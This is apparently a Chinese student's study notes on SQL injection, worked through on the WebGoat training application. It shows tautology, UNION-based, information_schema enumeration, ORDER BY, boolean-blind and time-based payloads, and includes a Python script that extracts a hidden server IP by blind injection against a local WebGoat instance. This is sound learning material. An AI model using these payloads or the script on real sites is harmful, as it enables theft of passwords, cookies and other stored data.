SQLInjection初尝试

第一次认真的学习 sql 注入,拿着 WebGoat 试试水吧。
WebGoat后台数据库为hsqldb,资料比较少,可能有整理不全面的地方,以后慢慢补上


SQLInjection初尝试

基本注入

首先尝试最简单的注入:
现在我们已知后台的 SQL 查询语句如下

1
"select * from users where name = '" + userName + "'";

这里我们只需要where的判断条件恒为真就能够将所有的users取出来。在没有语法错误的前提下,我们可以写成如下形式:

1
select * from users where name = '' or 1=1 -- '"

-- 表示注释,这里把后面的'注释了,从而避免了 sql 的语法问题

获取其他的表

从第一个表中我们得到表的大致信息:

1
2
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,
101, Joe, Snow, 987654321, VISA, , 0,

然后第二张表的内容是:

1
2
3
4
CREATE TABLE user_system_data (userid varchar(5) not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));

此时我们要利用第一关中的漏洞读取第二张表的内容。利用第一关泄露的信息,首先先无脑试一下:

1
Snow' union * from user_system_data --

此时会发现,我们的表列数不一样。于是我们更改一下写法:

1
Snow' union select userid, user_name, password, cookie, 1, 2, 3 from user_system_data --

这个时候居然报错提示incompatible data types in combination,猜测是对不同类型的数据进行了检测之类的。于是修改注入逻辑为:

1
Snow' union userid, NULL, NULL, NULL, NULL, NULL, NULL from user_system_data --

发现还是报错,于是猜测userid为 int 类型。使用cast进行强制类型转换,发现猜测没错

1
Snow' union select cast(userid,int), NULL, NULL, NULL, NULL, NULL, NULL from user_system_data --

之后的类型也按照类似的猜测方法,得到最后的注入语句:

1
Snow' union select cast(userid as int), user_name, password, cookie, NULL, NULL, 1 from user_system_data --

数据库名,表名的得知方法

(这段参考至队友skywalker_z)的教学以及xm1994指点,感谢大佬
的指导

有权限访问information_schema

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。 有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。information_schema提供了访问数据库元数据的方式,这里只要把它当成一张表就好。
通过利用这个表,我们就能够从里面拿到当前我们能够接触到的数据库以及表,表中的列等等。

显示数据库名

1
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata

显示数据库表名

1
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'database_name

显示列名

1
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name'

没有权限访问infomation_schema

这个时候我们要结合着报错来使用。这个报错可以不是明显的报错,可能是页面的回显出现问题(利用盲注里面的sleep函数),或者是某种特殊的返回。我们这个时候可以利用条件语句来进行猜测。这里提一下hsqldb这个数据库,这个数据库的操作和别的有点不一样:

1
select case when(SELECT ip FROM SERVERS WHERE hostname%3d'webgoat-prd') LIKE 'S%25' then 1 else 2 end from information_schema

这里解释一下里面的内容的含义:

  • %3d%25: 这个是=%url编码,有时候用=好像也是可以,但是传输的数据中不允许只出现一个%,所以要使用url编码。
  • LIKE: 也就是字符串比较,这里hsqldb的语法是case when condition then 1 else 2 end。这里的 condition 里面能够放select expression + 比较类型的语句
  • “S%25”: 这个%25(也就是%)是sql里面的任意字符替换的意思,和正则中的*一样。

这里的意思就是猜测当前ip列的第一个字符是不是S,是的话就调用1语句,否则调用2语句。一般来说可以利用行数量不等的方式,分别使用合法类型和*来实现猜测正确的时候回显正常,猜测错误的时候回显报错

这个类型和网上的MYSQL的那个差不多:

1
if(substring(user(),1,1)=0x72,1,0x00)

也就通过在2处填写会发生发错类型的语句,然后猜测当前的条件是否为真,从而实现数据猜测。这个猜测的过程可以套到上述的语句里面:

1
select case data when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE 'S%' then 1 else 2 end

套入之后,如果我们返回了1,则说明此时猜测正确,否则就是猜测错误。

order by

order by 猜测列表

假设此时我们不知道有哪些列,那么我们此时可以通过order by这个关键字来进行列的猜测:

1
order by 1

此时如果不会报错,说明当时的数据就按照第一列的顺序进行了排列,那么此时就存在当前列。我们可以一直修改指导知道出现报错,就能够知道当前有多少列了。

order by 漏洞利用

这个漏洞的形式一般是:

1
"select * from user order by '" + order_id + "'"

这个地方的注入点一般都是一个利用之前提到的case when的方法进行数据猜测:

1
case when(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) LIKE 'S%' then 1 else 2 end

通过爆破的方法能够猜测到需要的数据。

实战:WebGoat SQL Injection (mitigations)


这道题我之前用了一些办法把库的名字给搞到了,库名是SERVERS。这个题目从题目内容中可以猜测到,可能有一个ip地址不符合需求没有被显示出来。(后来看到答案之后知道是因为ip不再一个域内)。然后利用这个猜测的办法,把一个存在数据库中,但是本身并没有被传输到前台的数据传输了过来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

cookies = {
"JSESSIONID":"CF7D35FF14A4A4B0523DE6863E00FC06"
}

url = """http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case+when(SELECT+ip+FROM+SERVERS+WHERE+hostname%3d'webgoat-prd')%20LIKE%20'{}%25'%20then%20id%20else%20ip%20end)"""

test_url = url.format('1')
res = requests.get(test_url,cookies = cookies)
rightContent = res.content
# for i in range(1,10):

def getFeedBack(url, content):
target_url = url.format(content)
res = requests.get(target_url,cookies = cookies)
# print(res.content)
return res.content == rightContent

maybeString = "1234567890.?"
couldNotFind = True
answer = '1'
if __name__ == '__main__':
while True:
for i in maybeString:
tmp = answer + i
if getFeedBack(url, tmp):
print("now get url is {}".format(tmp))
answer = tmp
couldNotFind = False
break

if couldNotFind:
break
couldNotFind = True

盲注

之前的题目中,我们有报错提示,所以能够根据出错一点点的尝试我们的 sql 语句。然而很多时候报错信息是会被关闭的,这个时候我们就不能够通过报错信息调整我们的 sql ,甚至不知道这个地方是否存在注入点。

比如说,我们有一个可能存在注入位置的url

1
https://my-shop.com?article=4

这种时候,我们有两种办法来判断注入。

Content baseed

这个article是不是注入点呢?我们可以通过尝试以下两种情况来判断:

1
article=4 AND 1=1
1
article=4 AND 1=2

如果第一种情况下,网页能够继续显示内容,而第二种情况不能正常显示的话,就说明这个article的位置上存在注入。

Time based

这种方法可以通过返回的时间长短来判断:

1
article = 4; sleep(10) --

盲注得到信息

这里

特殊符号/关键字

注释符号

--: 用来将当前语句的后方内容全部注释掉
/**/: 将包括在其中的内容注释掉
+: 用于连接不同的字符串

连接关键字

union: 可以将两张表的查询结果合并。在注入中可以实现查询另一张表的功能。不过前提是当前的列数相同,列属性也要相同

sql 函数

cast( colunm as types):将 column 中的数据转换成 type 类型。